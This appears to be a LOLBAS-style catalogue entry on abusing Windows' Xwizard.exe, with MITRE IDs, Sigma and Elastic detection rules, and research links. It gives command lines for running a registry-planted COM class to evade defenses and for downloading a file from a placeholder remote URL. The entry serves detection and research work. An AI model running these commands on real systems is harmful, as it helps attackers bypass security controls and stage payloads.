Xwizard.exe

Xwizard.exe running a custom class that has been added to the registry.

Use Run a com object created in registry to evade defensive counter measures

xwizard RunWizard {00000001-0000-0000-0000-0000FEEDACDC}

Evidence

Upstream reference

Environment

Local host

Context

user

Native

Execute

MITRE

T1218

Detection

Sigma: github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_class_exec_xwizard.yml

Sigma: github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_dll_sideload_xwizard.yml

Elastic: github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/execution_com_object_xwizard.toml

Elastic: github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_unusual_process_network_connection.toml

Refs

www.hexacorn.com/blog/2017/07/31/the-wizard-of-x-oppa-plugx-style/

www.youtube.com/watch?v=LwDHX7DVHWU

gist.github.com/NickTyrer/0598b60112eaafe6d07789f7964290d5

bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/

twitter.com/notwhickey/status/1306023056847110144

lolbas-project.github.io/lolbas/Binaries/Xwizard/

Xwizard.exe running a custom class that has been added to the registry. The /t and /u switch prevent an error message in later Windows 10 builds.

Use Run a com object created in registry to evade defensive counter measures

xwizard RunWizard /taero /u {00000001-0000-0000-0000-0000FEEDACDC}

Evidence

Upstream reference

Environment

Local host

Context

user

Native

Execute

MITRE

T1218

Detection

Sigma: github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_class_exec_xwizard.yml

Sigma: github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_dll_sideload_xwizard.yml

Elastic: github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/execution_com_object_xwizard.toml

Elastic: github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_unusual_process_network_connection.toml

Refs

www.hexacorn.com/blog/2017/07/31/the-wizard-of-x-oppa-plugx-style/

www.youtube.com/watch?v=LwDHX7DVHWU

gist.github.com/NickTyrer/0598b60112eaafe6d07789f7964290d5

bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/

twitter.com/notwhickey/status/1306023056847110144

lolbas-project.github.io/lolbas/Binaries/Xwizard/

Xwizard.exe uses RemoteApp and Desktop Connections wizard to download a file, and save it to INetCache.

Use Download file from Internet

xwizard RunWizard {7940acf8-60ba-4213-a7c3-f3b400ee266d} /z{REMOTEURL}

Evidence

Upstream reference

Environment

Local host

Context

user

Native

Download

MITRE

T1105

Detection

Sigma: github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_class_exec_xwizard.yml

Sigma: github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_dll_sideload_xwizard.yml

Elastic: github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/execution_com_object_xwizard.toml

Elastic: github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_unusual_process_network_connection.toml

Refs

www.hexacorn.com/blog/2017/07/31/the-wizard-of-x-oppa-plugx-style/

www.youtube.com/watch?v=LwDHX7DVHWU

gist.github.com/NickTyrer/0598b60112eaafe6d07789f7964290d5

bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/

twitter.com/notwhickey/status/1306023056847110144

lolbas-project.github.io/lolbas/Binaries/Xwizard/